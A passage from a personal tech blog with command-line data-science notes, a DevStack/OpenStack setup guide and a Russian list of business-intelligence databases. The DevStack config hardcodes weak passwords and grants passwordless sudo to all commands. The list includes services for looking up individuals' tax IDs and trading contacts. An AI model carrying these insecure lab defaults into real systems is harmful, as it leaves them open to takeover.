<span class="s1">$ < tips.csv csvsql --query "SELECT * FROM stdin WHERE bill > 40 AND day LIKE '</span>%S%<span class="s1">'" | csvlook</span>
<span class="s1"># merging columns</span>
<span class="s1">$ < names.csv csvsql --query "SELECT id, first_name || '</span> <span class="s1">' || last_name AS full_name, born FROM stdin" | csvlook</span>
<span class="s1"># splitting up Iris data set into three CSV files</span>
<span class="s1">$ < iris.csv fieldsplit -d, -k -F species -p . -s .csv</span>
<span class="s1"># concatenate the files back using cat</span>
<span class="s1">$ cat Iris-setosa.csv <(< Iris-versicolor.csv header -d) <(< Iris-virginica.csv header -d) | sed -n '</span>1p<span class="p">;</span>49,54p<span class="s1">' | csvlook</span>
<span class="s1"># csvjoin cmd allow to join the two data sets</span>
<span class="s1">$ csvjoin -c species iris.csv irismeta.csv | csvcut -c sepal_length,sepal_width,species,usda_id | sed -n '</span>1p<span class="p">;</span>49,54p<span class="err">'</span> <span class="p">|</span> csvloo</code></pre></div>
<h3 id="ch06---managing-your-data-workflow">CH06 - Managing Your Data Workflow</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># drake is command-line tool created by Factual that allows you to:</span>
• Formalize your data workflow steps in terms of input and output dependencies
• Run specific steps of your workflow from the <span class="nb">command </span>line
• Use inline code <span class="o">(</span>e.g., Python and R<span class="o">)</span>
• Store and retrieve data from external sources <span class="o">(</span>e.g., S3 and HDFS<span class="o">)</span>
<span class="nv">$ </span>sudo apt-get install openjdk-6-jdk
<span class="nv">$ </span>sudo apt-get install leiningen
<span class="nv">$ </span>git clone https://github.com/Factual/drake.git
<span class="nv">$ </span><span class="nb">cd </span>drake
<span class="nv">$ </span>lein uberjar
<span class="nv">$ </span>mv drake.jar ~/.bin/
<span class="nv">$ </span><span class="nb">cd</span> ~/.bin/
<span class="nv">$ </span>java -jar drake.jar
<span class="nv">$ </span>git clone https://github.com/flatland/drip.git
<span class="nv">$ </span><span class="nb">cd </span>drip
<span class="nv">$ </span>make <span class="nv">prefix</span><span class="o">=</span>~/.bin install
<span class="nv">$ </span><span class="nb">cd </span>bin
<span class="nv">$ </span>wget https://github.com/jeroenjanssens/data-science-at-the-command-line/blob/master/tools/drake
<span class="c"># top 5 downloaded books of Project Gutenberg</span>
<span class="nv">$ </span>curl -s <span class="s1">'http://www.gutenberg.org/browse/scores/top'</span> <span class="p">|</span> grep -E <span class="s1">'^<li>'</span> <span class="p">|</span> head -n <span class="m">5</span> <span class="p">|</span> sed -E <span class="s2">"s/.*ebooks\/([0-9]+).*/\\1/"</span>
<span class="c"># same step with Drakefile</span>
top-5 <-
curl -s <span class="s1">'http://www.gutenberg.org/browse/scores/top'</span> <span class="p">|</span>
grep -E <span class="s1">'^<li>'</span> <span class="p">|</span>
head -n <span class="m">5</span> <span class="p">|</span>
sed -E <span class="s2">"s/.*ebooks\/([0-9]+)\">([^<]+)<.*/\\1,\\2/"</span> > top-5
<span class="nv">$ </span>drake
<span class="c"># add variables to drake 02.drake</span>
<span class="nv">NUM</span><span class="o">=</span>5
<span class="nv">BASE</span><span class="o">=</span>data/
top.html <- <span class="o">[</span>-timecheck<span class="o">]</span>
curl -s <span class="s1">'http://www.gutenberg.org/browse/scores/top'</span> > <span class="nv">$OUTPUT</span>
top-<span class="nv">$[</span>NUM<span class="o">]</span> <- top.html
< <span class="nv">$INPUT</span> grep -E <span class="s1">'^<li>'</span> <span class="p">|</span>
head -n <span class="nv">$[</span>NUM<span class="o">]</span> <span class="p">|</span>
sed -E <span class="s2">"s/.*ebooks\/([0-9]+)\">([^<]+)<.*/\\1,\\2/"</span> > <span class="nv">$OUTPUT</span>
<span class="nv">$ </span>drake --debug -w 02.drake
<span class="nv">$ NUM</span><span class="o">=</span><span class="m">10</span> drake -w 02.drake</code></pre></div>
<h3 id="ch07---exploring-data">CH07 - Exploring Data</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># to get the number of unique values for each column</span>
<span class="nv">$ </span>csvstat data/investments2.csv --unique
<span class="c"># csvstat gives a lot of information</span>
<span class="nv">$ </span>csvstat data/datatypes.csv
<span class="nv">$ </span>csvstat data/investments2.csv -c 2,13,19,24</code></pre></div>
<h3 id="ch08---parallel-pipelines">CH08 - Parallel Pipelines</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># looping over files</span>
<span class="nv">$ </span>find data -name <span class="s1">'*.csv'</span> -print0 <span class="p">|</span> parallel -0 <span class="nb">echo</span> <span class="s2">"Processing {}"</span>
<span class="c"># simple parallel processing</span>
<span class="nv">$ </span><span class="k">for</span> i in <span class="o">{</span>1..4<span class="o">}</span><span class="p">;</span> <span class="k">do</span><span class="p">;</span><span class="o">(</span>./slow.sh <span class="nv">$i</span><span class="p">;</span> <span class="nb">echo </span>Processed <span class="nv">$i</span><span class="o">)</span> <span class="p">&;</span><span class="k">done</span>
<span class="c"># parallel - cli tool that allows us to parallelize commands and pipelines</span>
<span class="nv">$ </span>seq <span class="m">5</span> <span class="p">|</span> parallel <span class="s2">"echo {}^2 | bc"</span>
<span class="nv">$ </span>< input.csv parallel -C, <span class="s2">"mv {1} {2}"</span>
<span class="nv">$ </span>< input.csv parallel -C, --header : <span class="s2">"invite {name} {email}"</span>
<span class="nv">$ </span>seq <span class="m">5</span> <span class="p">|</span> parallel -j0 <span class="s2">"echo Hi {}"</span>
<span class="nv">$ </span>seq <span class="m">5</span> <span class="p">|</span> parallel <span class="s2">"echo \"Hi {}\" > data/hi-{}.txt"</span>
<span class="nv">$ </span>seq <span class="m">5</span> <span class="p">|</span> parallel --results data/outdir <span class="s2">"echo Hi {}"</span>
<span class="nv">$ </span>seq <span class="m">100</span> <span class="p">|</span> parallel -C, -k -j100% <span class="s2">"echo '{1}^2' | bc -l"</span><span class="p">|</span>tail
<span class="c"># awscli</span>
pip install awscli
<span class="c"># Getting Your Access Key ID and Secret Access Key</span>
https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSGettingStartedGuide/AWSCredentials.html
aws configure
aws ec2 describe-instances
aws ec2 describe-instances <span class="p">|</span> jq <span class="s1">'.Reservations[].Instances[] | {public_dns: .PublicDnsName, state: .State.Name}'</span>
aws ec2 describe-instances <span class="p">|</span> jq -r <span class="s1">'.Reservations[].Instances[] | select(.State.Name=="running") | .PublicDnsName'</span> > instances
<span class="c"># running commands on remote machines</span>
<span class="nv">$ </span>parallel --nonall --slf instances hostname
<span class="nv">$ </span>parallel --nonall --slf instances <span class="s2">"sudo apt-get install -y parallel"</span>
<span class="c"># Distributing Local Data Among Remote Machines</span>
<span class="nv">$ </span>seq <span class="m">1000</span> <span class="p">|</span> parallel -N100 --pipe --slf hosts <span class="s2">"(hostname; wc -l) | paste -sd:"</span></code></pre></div>
<h3 id="ch09---modeling-data">CH09 - Modeling Data</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># obtain the two data sets using curl</span>
<span class="nv">$ </span>parallel <span class="s2">"curl -sL http://archive.ics.uci.edu/ml/machine-learning-databases/wine-quality/winequality-{}.csv > wine-{}.csv"</span> ::: red white</code></pre></div>
<p><a href="https://jivoi.github.io/2015/07/10/data-science-at-the-command-line/">Data Science at the Command Line</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on July 10, 2015.</p>https://jivoi.github.io/2015/07/07/playing-with-devstack2015-07-07 14:09:37 +0300T00:00:00-00:002015-07-07T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>Learn how to install DevStack</p>
<ul>
<li><a href="http://docs.openstack.org/developer/devstack/">DevStack Site</a></li>
</ul>
<h3 id="add-stack-user">Add stack user</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">useradd -G sudo -m -U -s /bin/bash stack
passwd stack</code></pre></div>
<h3 id="add-user-sudo-permissions">Add user sudo permissions</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">/etc/sudoers
stack <span class="nv">ALL</span><span class="o">=(</span>ALL:ALL<span class="o">)</span> NOPASSWD: ALL</code></pre></div>
<h3 id="system-configuration-for-kvm">System configuration for KVM</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c">#we will use KVM</span>
sudo rmmod kvm-intel
sudo sh -c <span class="s2">"echo 'options kvm-intel nested=y' >> /etc/modprobe.d/dist.conf"</span>
sudo modprobe kvm-intel
cat /sys/module/kvm_intel/parameters/nested
modinfo kvm_intel <span class="p">|</span> grep nested</code></pre></div>
<h3 id="download-devstack">Download DevStack</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">sudo apt-get install -y git
git clone https://github.com/openstack-dev/devstack.git -b stable/kilo <span class="o">&&</span> <span class="nb">cd </span>devstack
sudo mkdir /var/log/openstack
sudo chown stack:stack /var/log/openstack</code></pre></div>
<h3 id="create-devstack-config">Create DevStack config</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">local.conf
<span class="o">[[</span><span class="nb">local</span><span class="p">|</span>localrc<span class="o">]]</span>
<span class="nv">HOST_IP</span><span class="o">=</span>192.168.0.250 <span class="c"># Controller IP</span>
<span class="nv">FLAT_INTERFACE</span><span class="o">=</span>p2p1 <span class="c"># Outside interface</span>
<span class="nv">FIXED_RANGE</span><span class="o">=</span>10.10.128.0/24 <span class="c"># Virtual network</span>
<span class="nv">FIXED_NETWORK_SIZE</span><span class="o">=</span><span class="m">254</span> <span class="c"># Virtual network size</span>
<span class="nv">FLOATING_RANGE</span><span class="o">=</span>192.168.0.0/24 <span class="c"># Outside network</span>
<span class="nv">LOGFILE</span><span class="o">=</span>/var/log/openstack/stack.sh.log <span class="c"># Log directory</span>
<span class="nv">LOGDAYS</span><span class="o">=</span>3
<span class="nv">ADMIN_PASSWORD</span><span class="o">=</span>admin
<span class="nv">MYSQL_PASSWORD</span><span class="o">=</span>P@ssw0rd
<span class="nv">RABBIT_PASSWORD</span><span class="o">=</span>P@ssw0rd
<span class="nv">SERVICE_PASSWORD</span><span class="o">=</span>P@ssw0rd
<span class="nv">SERVICE_TOKEN</span><span class="o">=</span>AAAAB3NzaC1yc2EAAAADAQABAAABAQCyYjfgyPazTvGpd8OaAvtU2utL8W6gWC4JdRS1J95G
<span class="nv">REGION_NAME</span><span class="o">=</span>DevStack <span class="c"># Region Name</span>
<span class="nv">LIBVIRT_TYPE</span><span class="o">=</span>kvm <span class="c"># Use KVM</span>
<span class="nv">VOLUME_BACKING_FILE_SIZE</span><span class="o">=</span>200G</code></pre></div>
<h3 id="setup-devstack">Setup DevStack</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">./stack.sh
<span class="c"># after you will see</span>
Horizon is now available at http://192.168.0.250/
Keystone is serving at http://192.168.0.250:5000/v2.0/
Examples on using novaclient <span class="nb">command </span>line is in exercise.sh
The default users are: admin and demo
The password: admin
This is your host ip: 192.168.0.250</code></pre></div>
<h3 id="add-lvm-volume">Add LVM volume</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">sudo losetup -a
<span class="c"># add to /etc/rc.local</span>
losetup /dev/loop0 /opt/stack/data/stack-volumes-lvmdriver-1-backing-file</code></pre></div>
<h3 id="reboot-and-check">Reboot and Check</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># after reboot</span>
<span class="nb">cd</span> /home/stack/devstack <span class="o">&&</span> ./rejoin-stack.sh</code></pre></div>
<h3 id="openstack-images">OpenStack images</h3>
<ul>
<li><a href="http://cloud-images.ubuntu.com/releases/14.04.2/release/ubuntu-14.04-server-cloudimg-amd64-disk1.img">Ubuntu-14.04-amd64</a></li>
<li><a href="http://cloud.centos.org/centos/7/images/CentOS-7-x86_64-GenericCloud-1503.qcow20">CentOS-7-x86_64</a></li>
<li><a href="http://www.cloudbase.it/windows-cloud-images/">Windows</a></li>
</ul>
<p><a href="https://jivoi.github.io/2015/07/07/playing-with-devstack/">Playing with DevStack</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on July 07, 2015.</p>https://jivoi.github.io/2015/07/04/otkrytyie-bazy-dannykh-rf2015-07-04 00:03:54 +0300T00:00:00-00:002015-07-04T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>Полезные ссылки для конкурентной разведки в России.</p>
<ul>
<li>
<p><a href="https://www.cbr.ru/">https://www.cbr.ru/</a> - информация ЦБ по бюро кредитных историй, внесенных в государственный реестр.</p>
</li>
<li>
<p><a href="http://www.gks.ru/accounting_report">http://www.gks.ru/accounting_report</a> – предоставление данных бухгалтерской отчетности по запросам пользователей от Федеральной службы государственной статистики.</p>
</li>
<li>
<p><a href="http://www.tks.ru/db/">http://www.tks.ru/db/</a> – таможенные онлайн базы данных.</p>
</li>
<li>
<p><a href="http://tipodop.ru/">http://tipodop.ru/</a> - очередной каталог предприятий, организаций в России.</p>
</li>
<li>
<p><a href="http://www.catalogfactory.org/">http://www.catalogfactory.org/</a> – организации России – финансовые результаты, справочные данные и отзывы. Данные в настоящее время доступны по 4,8 млн.организаций.</p>
</li>
<li>
<p><a href="http://pravo.ru/">http://pravo.ru/</a> – справочно-информационная система, включающая в настоящее время 40 млн. законодательных, нормативных и поднормативных актов Российской Федерации.</p>
</li>
<li>
<p><a href="http://www.tks.ru/db/">http://www.tks.ru/db/</a> – обширные базы данных, связанные с таможенным и логистическим бизнесом.</p>
</li>
<li>
<p><a href="http://azstatus.ru/">http://azstatus.ru/ </a>– информационная база данных, в которой содержится информация обо всех предпринимателях Российской Федерации, а также информация о российских компаниях (юридические лица). Всего в справочнике более 10 миллионов записей.</p>
</li>
<li>
<p><a href="http://seldon.ru/">http://seldon.ru/</a> – информационно-аналитическая система, значительно упрощающая и систематизирующая работу с закупками.</p>
</li>
<li>
<p><a href="http://www.reestrtpprf.ru/">http://www.reestrtpprf.ru/</a> – реестр надежных партнеров от системы Торгово-промышленных палат в Российской Федерации.</p>
</li>
<li>
<p><a href="http://iskr-a.com/">http://iskr-a.com/</a> – сообщество безопасников и платформа для информационного взаимодействия в одном флаконе.</p>
</li>
<li>
<p><a href="http://gosmonitor.ru/">http://gosmonitor.ru/ </a>– мониторинг государственных сайтов.</p>
</li>
<li>
<p><a href="http://www.ruscentr.com/">http://www.ruscentr.com/ </a>- реестр базовых организаций российской экономики, добросовестных поставщиков и бюджетоэффективных заказчиков (организаций).</p>
</li>
<li>
<p><a href="http://www.pravo.fso.gov.ru/">http://www.pravo.fso.gov.ru/</a> – государственная система правовой информации.</p>
</li>
<li>
<p><a href="https://www.aips-ariadna.com/">https://www.aips-ariadna.com/</a> – антикриминальная онлайн система учета по России и СНГ. Относится к тому же ценовому сегменту, что и «Контур Фокус» и т.п., и отличается от других систем большим уклоном в судебные и правоохранительные данные. Ориентирована прежде всего на службу безопасности.</p>
</li>
<li>
<p><a href="http://188.254.71.82/rds_ts_pub/">http://188.254.71.82/rds_ts_pub/ </a>– единый реестр зарегистрированных деклараций РФ.</p>
</li>
<li>
<p><a href="http://www.ruscentr.com/">http://www.ruscentr.com/</a> – федеральный реестр добросовестных поставщиков, а также данные по финансово устойчивым организациям и реестр базовых организаций российской экономики.</p>
</li>
<li>
<p><a href="http://croinform.ru/index.php">http://croinform.ru/index.php</a> – сервис проверки клиентов, конкурентов, партнеров и контрагентов в режиме реального времени 24/7, в т.ч. со смартфона. Цены вполне человеческие. Сервис знаменитого Кроноса.</p>
</li>
<li>
<p><a href="http://www.zakupki.gov.ru/epz/main/public/home.html">http://www.zakupki.gov.ru/epz/main/public/home.html</a> – официальный сайт Российской Федерации для размещения информации о размещении заказов на поставки товаров, выполнение работ, оказание услуг.</p>
</li>
<li>
<p><a href="http://multistat.ru">http://multistat.ru</a> – многофункциональный статистический портал.</p>
</li>
<li>
<p><a href="http://rostender.info/">http://rostender.info/</a> – ежедневная рассылка новых тендеров в соответствии с отраслевыми и региональными настройками.</p>
</li>
<li>
<p><a href="http://pravo.fso.gov.ru/">http://pravo.fso.gov.ru/</a> – государственная система правовой информации. Позволяет быть в курсе всех новых правовых актов. Имеет удобный поисковик.</p>
</li>
<li>
<p><a href="http://bir.1prime.ru/">http://bir.1prime.ru/</a> – информационно-аналитическая система «Бир-аналитик» позволяет осуществлять поиск данных и проводить комплексный анализ по всем хозяйствующим субъектам России, включая компании, кредитные организации, страховые общества, регионы и города.</p>
</li>
<li>
<p><a href="http://www.prima-inform.ru/">http://www.prima-inform.ru/</a> – прямой доступ к платным и бесплатным информационным ресурсам различных, в т.ч. контролирующих организаций. Позволяет получать документы и сводные отчеты, информацию о российских компаниях, индивидуальных предпринимателях и физических лицах, сведения из контролирующих организаций. Позволяет проверять субъектов на аффилированность и многое другое.</p>
</li>
<li>
<p><a href="http://www.akm.ru/">http://www.akm.ru/</a> – портал финансовых данных по компаниям, ценным бумагам, значимым событиям финансово-экономической жизни.</p>
</li>
<li>
<p><a href="http://www.integrum.ru/">http://www.integrum.ru/</a> –портал для конкурентной разведки с самым дружественным интерфейсом. Содержит максимум информации, различных баз данных, инструментов мониторинга и аналитики. Позволяет компании в зависимости от ее нужд, размеров и бюджета выбирать режим пользования порталом.</p>
</li>
<li>
<p><a href="www.spark-interfax.ru">www.spark-interfax.ru</a> – портал обладает необходимой для потребностей конкурентной разведки полнотой баз данных, развитым функционалом, постоянно добавляет новые сервисы.</p>
</li>
<li>
<p><a href="http://www.fira.ru/">http://www.fira.ru/</a> – молодой быстроразвивающийся проект, располагает полной и оперативной базой данных предприятий, организаций и регионов. Имеет конкурентные цены.</p>
</li>
<li>
<p><a href="http://www.skrin.ru">http://www.skrin.ru</a> портал информации об эмитентах ценных бумаг. Наряду с обязательной информацией об эмитентах содержит базы обзоров предприятий, отраслей, отчетность по стандартам РБУ, ГААП, ИАС. ЗАО “СКРИН” является организацией, уполномоченной ФСФР.</p>
</li>
<li>
<p><a href="http://www.magelan.pro/">http://www.magelan.pro/</a>– портал по тендерам, электронным аукционам и коммерческим закупкам. Включает в себя качественный поисковик по данной предметной сфере.</p>
</li>
<li>
<p><a href="http://www.bicotender.ru/">http://www.bicotender.ru/</a> - самая полная поисковая система тендеров и закупок по России и странам СНГ.</p>
</li>
<li>
<p><a href="http://sophist.hse.ru/">http://sophist.hse.ru/</a> – единый архив экономических и социологических данных по российской Федерации от НИУ ВШЭ.</p>
</li>
<li>
<p><a href="http://msk.2gis.ru/">http://msk.2gis.ru/ </a>– отличная бесплатная геоинформационная система по 200 городам России, Украины, Казахстана и Италии. Включает все необходимые актуальные данные о компаниях.</p>
</li>
<li>
<p><a href="http://www.tenderguru.ru/">http://www.tenderguru.ru/</a>– национальный тендерный портал, представляет собой единую базу государственных и коммерческих тендеров с ежедневной рассылкой анонсов по объявленным тендерам.</p>
</li>
<li>
<p><a href="http://www.moscowbase.ru/">http://www.moscowbase.ru/</a> - поддерживаемые в состоянии постоянной актуальности адресно-телефонные базы данных по компаниям Москвы и России. Уникальным продуктом компании являются базы данных новых компаний, появившихся в течение двух последних кварталов. В данные включается вся стандартная информация, предоставляемая платными онлайн базами, плюс актуальные внутренние телефоны и e-mail.</p>
</li>
<li>
<p><a href="http://marketing1.ru/">http://marketing1.ru/</a> – наиболее полный ресурс данных по таможенной статистике стран СНГ и Китая. Данные представляются в разрезе предприятий, оформляемой продукции, а также сведений о перевозках.</p>
</li>
<li>
<p><a href="http://naydu.com.ua/">http://naydu.com.ua/</a> – портал открытых государственных баз данных Украины, Российской Федерации, Казахстана, Белоруссии и Молдовы.</p>
</li>
<li>
<p><a href="http://www.credinform.ru/ru-RU/globas">http://www.credinform.ru/ru-RU/globas</a> - информационно-аналитическая система ГЛОБАС – содержит данные о семи миллионах компаний. Предназначена для комплексной информационной поддержке бизнеса и создания комплексных аналитических отчетов.</p>
</li>
<li>
<p><a href="http://www.actinfo.ru/">http://www.actinfo.ru/</a> – отраслевой бизнес-справочник предприятий России по их актуальным почтовым адресам и контактным телефонам. Единственный справочник, который включает контактные данные по предприятиям, созданным в предыдущем квартале.</p>
</li>
<li>
<p><a href="http://www.sudrf.ru/">http://www.sudrf.ru/</a> -государственная автоматизированная система РФ «Правосудие».</p>
</li>
<li>
<p><a href="http://docs.pravo.ru/">http://docs.pravo.ru/</a> – справочно-правовая система Право.ру. Предоставляет полный доступ к нормативным документам любых субъектов Российской Федерации, а также к судебной практике арбитражных судов и мнениям экспертов любых юридических областей. Ежемесячная плата для работы с полной базой документов составляет 500 руб.</p>
</li>
<li>
<p><a href="http://www.egrul.com/">http://www.egrul.com/</a> – платные и бесплатные сервисы поиска по ЕГРЮЛ, ЕГРИП, ФИО, балансам предприятий и др. параметрам. Одно из лучших соотношений цены и качества.</p>
</li>
<li>
<p><a href="http://www.fedresurs.ru/">http://www.fedresurs.ru/</a> – единый федеральный реестр сведений о фактах деятельности юридических лиц.</p>
</li>
<li>
<p><a href="http://www.findsmi.ru/">http://www.findsmi.ru/</a> – бесплатный сервис поиска данных по 65 тыс. региональных СМИ.</p>
</li>
<li>
<p><a href="http://www.actimpex.ru/">http://www.actimpex.ru/</a> – бизнес-справочник компаний, занимающихся импортом-экспортом.</p>
</li>
<li>
<p><a href="http://hub.opengovdata.ru/">http://hub.opengovdata.ru/</a> – хаб, содержащий открытые государственные данные всех уровней, всех направлений. Проект Ивана Бегтина.</p>
</li>
<li>
<p><a href="http://www.ruward.ru/">http://www.ruward.ru/</a> – ресурс агрегатор всех рейтингов Рунета. В настоящее время уже содержит 46 рейтингов и более 1000 компаний из web и PR индустрии.</p>
</li>
<li>
<p><a href="http://cardomat.ru/card">http://cardomat.ru/card</a> – самый большой открытый бизнес-справочник и биржа контактов Рунета.</p>
</li>
<li>
<p><a href="http://www.b2b-energo.ru/firm_dossier/">http://www.b2b-energo.ru/firm_dossier/</a>- информационно-аналитическая и торгово-операционная система рынка продукции, услуг и технологий для электроэнергетики.</p>
</li>
<li>
<p><a href="http://www.kartoteka.ru/search/">http://www.kartoteka.ru/search/</a> – система «Картотека Коммерсант», объединяющая в себе пополняемую в режиме онлайн базу сведений о юридических лицах и поисковик по юридическим лицам и существенным событиям в их жизни.</p>
</li>
<li>
<p><a href="http://www.interbiztrader.com/">http://www.interbiztrader.com/</a> – каталог предприятий России и СНГ, включая Беларусь, Казахстан, Кыргызстан, Молдову, Узбекистан и Украину.</p>
</li>
<li>
<p><a href="http://inforotor.ru/">http://inforotor.ru/</a> – удобный бесплатный агрегатор информации онлайн СМИ по компаниям и людям.</p>
</li>
<li>
<p><a href="http://www.b2b-base.ru/">http://www.b2b-base.ru/</a> – сертифицированные постоянно актуализируемые региональные и отраслевые базы данных компаний России на внешних носителях. Имеется возможность заказывать базы данных по индивидуальным критериям и т.п.</p>
</li>
<li>
<p><a href="http://news.yandex.ru/smi/">http://news.yandex.ru/smi/</a> – наиболее полная, интерактивная, постоянно обновляемая база данных СМИ и информационных агентств, имеющих собственные интернет-порталы.</p>
</li>
<li>
<p><a href="http://www.kontragent.info/">http://www.kontragent.info/</a> – ресурс предоставляет информацию о реквизитах контрагентов и реквизитах, соответствующих ведению бизнеса.</p>
</li>
<li>
<p><a href="http://www.ist-budget.ru/">http://www.ist-budget.ru/</a> – веб-сервис по всем тендерам, госзаказам и госзакупкам России. Включает бесплатный поисковик по полной базе тендеров, а также недорогой платный сервис, включающий поиск с использованием расширенных фильтров, по тематическим каталогам. Кроме того, пользователи портала могут получать аналитические отчеты по заказчикам и поставщикам по тендерам. Есть и система прогнозирования возможных победителей тендеров.</p>
</li>
<li>
<p><a href="http://www.vuve.su/">http://www.vuve.su/</a> - портал информации об организациях, предприятиях и компаниях, ведущих свою деятельность в России и на территории СНГ. На сегодняшний день база портала содержит сведения о более чем 1 млн. организаций.</p>
</li>
<li>
<p><a href="http://www.disclosure.ru/index.shtml">http://www.disclosure.ru/index.shtml</a> - система раскрытия информации на рынке ценных бумаг Российской Федерации. Включает отчетность эмитентов, существенные новости, отраслевые обзоры и анализ тенденций.</p>
</li>
<li>
<p><a href="http://fedstat.ru/indicators/start.do">http://fedstat.ru/indicators/start.do</a> – единая межведомственная информационно-статистическая система РФ. Представляет собой интегрированный статистический ресурс, использующий статистические данные всех уровней. В системе возможен поиск данных по ведомствам, признакам, наименованиям и т.п.</p>
</li>
<li>
<p><a href="http://www.faust-information.com/">http://www.faust-information.com/</a> -крупнейший онлайн ресурс международных каталогов бизнеса, телефонных справочников и «желтых страниц». Поставляется онлайн и на дисках. Имеет русскоязычный вариант. Продается в России.</p>
</li>
<li>
<p><a href="http://www.mosstat.ru/index.html">http://www.mosstat.ru/index.html</a> – бесплатные и платные онлайн базы данных и сервисы по ЕГРПО и ЕГРЮЛ Москвы и России, а также бухгалтерские балансы с 2005 года по настоящее время. По платным базам самые низкие тарифы в Рунете. Хорошая навигация, удобная оплата, качественная и оперативная работа.</p>
</li>
<li>
<p><a href="http://www.torg94.ru/">http://www.torg94.ru/</a> – качественный оперативный и полезный ресурс по госзакупкам, электронным торгам и госзаказам.</p>
</li>
<li>
<p><a href="http://www.k-agent.ru/">http://www.k-agent.ru/</a> – база данных «Контрагент». Состоит из карточек компаний, связанных с ними документов, списков аффилированных лиц и годовых бухгалтерских отчетов. Документы по компаниям представлены с 2006 г. Цена в месяц 900 руб. Запрашивать данные можно на сколь угодно много компаний.</p>
</li>
<li>
<p><a href="http://www.b-f-b.ru/">http://www.b-f-b.ru/</a> – предоставлена большая гамма полнофункциональных и разнообразных баз данных на носителях по предприятиям, включая иностранные компании и компании с иностранным участием в России. По соотношению цена/качество базы интересны для конкурентных разведчиков и не только.</p>
</li>
<li>
<p><a href="http://www.neostatis.ru/">http://www.neostatis.ru/</a> - первоклассная, постоянно поддерживаемая в актуальном состоянии и конфигурируемая под конкретные нужды он-лайн база по внешнеэкономической деятельности.</p>
</li>
<li>
<p><a href="http://polpred.com/">http://polpred.com/</a> – базы данных экономики и права, СМИ и аналитика. Работает в бесплатном и платном режимах. Особенно хорошо структурирована информация по странам.</p>
</li>
<li>
<p><a href="http://www.sravni.ru/">http://www.sravni.ru/</a> – собственно не база, но наиболее точные и оперативно пополняемая в Рунете информация о рейтингах банков, условиях кредитования и т.п.</p>
</li>
<li>
<p><a href="http://www.is-zakupki.ru/">http://www.is-zakupki.ru/</a> – информационная система государственных и коммерческих закупок. В системе собрана наиболее полная информация по государственным, муниципальным и коммерческим закупкам по всей территории РФ. Очень удобна в работе, имеет много дополнительных сервисов и, что приятно, абсолютно разумные, доступные даже для малого бизнеса цены.</p>
</li>
<li>
<p><a href="http://www.ar-system.ru/index.php">http://www.ar-system.ru/index.php</a> - поисковая система “ДОФИН – Аналитик” (ИПС “ДОФИН”) предназначена для поиска и анализа информации различного характера, содержащейся в специально отобранных и нормализованных базах данных.</p>
</li>
<li>
<p><a href="www.businessinfo.ru">www.businessinfo.ru</a> – он-лайн и офф-лайн базы данных по юридическим и физическим лицам России. Особо подробные базы данных по Москве, Санкт-Петербургу и ЦФО.</p>
</li>
<li>
<p><a href="www.rbc.ru">www.rbc.ru</a> – портал крупнейшего агентства. Раздел Исследования содержит наиболее полную в России базу данных маркетинговых исследований отраслей, регионов, а также электронных баз данных и справочников. Раздел еженедельно пополняется.</p>
</li>
<li>
<p><a href="http://www.saex.ru/">http://www.saex.ru/</a> – персонализированное средство управления деловой контактной информацией. В базе собраны топ-менеджеры, руководители функциональных и структурных подразделений, профессионалы в самых различных сферах и отраслях деятельности. Действует как своеобразная биржа контактов. Контакты можно купить, можно обменять. База постоянно пополняется.</p>
</li>
<li>
<p><a href="http://salespring.ru/">http://salespring.ru/</a> – открытая пополняемая база данных деловых контактов предприятий России и СНГ и их сотрудников. Функционирует как своеобразная биржа контактов.</p>
</li>
<li>
<p><a href="http://proreport.ru/">http://proreport.ru/</a> – представляет собой частично бесплатную, частично платную библиотеку интерактивных отчетов и докладов и инструменты для работы с ними. Пока, как ни странно, бесплатные отчеты даже интереснее платных. Рекомендую маркетерам и конкурентным разведчикам.</p>
</li>
<li>
<p><a href="www.multistat.ru">www.multistat.ru</a> – многофункциональный статистический портал. Официальный портал ГМЦ Росстата.</p>
</li>
<li>
<p><a href="http://www.tadviser.ru/">http://www.tadviser.ru/</a> - практически исчерпывающая база российских и зарубежных компаний-производителей харда и софта, действующих в России. Включает не только ссылки на сайты, но и ключевые контактные данные, списки топ-менеджеров и по большинству компаний – новостные ленты.</p>
</li>
<li>
<p><a href="http://results.audit.gov.ru/">http://results.audit.gov.ru/</a> – портал открытых данных Счетной палаты Российской Федерации.</p>
</li>
<li>
<p><a href="http://sudact.ru/">http://sudact.ru/</a> – ресурс по судебным и нормативным актам, включающим решения судов общей юрисдикции, арбитражных судов и мировых судей с качественным удобным поисковиком.</p>
</li>
<li>
<p><a href="http://www.cbr.ru/credit/main.asp">http://www.cbr.ru/credit/main.asp</a> – справочник по кредитным организациям. Сведения ЦБ РФ о банках и прочих кредитных организациях, об отзывах лицензий на осуществление банковских операций и назначениях временных администраций, раскрытие информации и пр.</p>
</li>
<li>
<p><a href="https://service.nalog.ru/inn.do">https://service.nalog.ru/inn.do</a> – сервис определения ИНН физического лица.</p>
</li>
<li>
<p><a href="https://service.nalog.ru/bi.do">https://service.nalog.ru/bi.do</a> – сервис позволяет выяснить, заблокированы или нет банковские счета конкретного юридического лица или индивидуального предпринимателя.</p>
</li>
<li>
<p><a href="http://188.254.71.82/rds_ts_pub/">http://188.254.71.82/rds_ts_pub/</a> – национальная часть единого реестра зарегистрированных таможенных деклараций, позволяющая определить кто, что, когда и откуда привез в нашу страну.</p>
</li>
<li>
<p><a href="http://services.fms.gov.ru/">http://services.fms.gov.ru/</a> – проверка действительности паспортов и другие сервисы от ФМС России.</p>
</li>
<li>
<p><a href="http://zakupki.gov.ru/223/dishonest/public/supplier-search.html">http://zakupki.gov.ru/223/dishonest/public/supplier-search.html</a> – реестр недобросовестных поставщиков.</p>
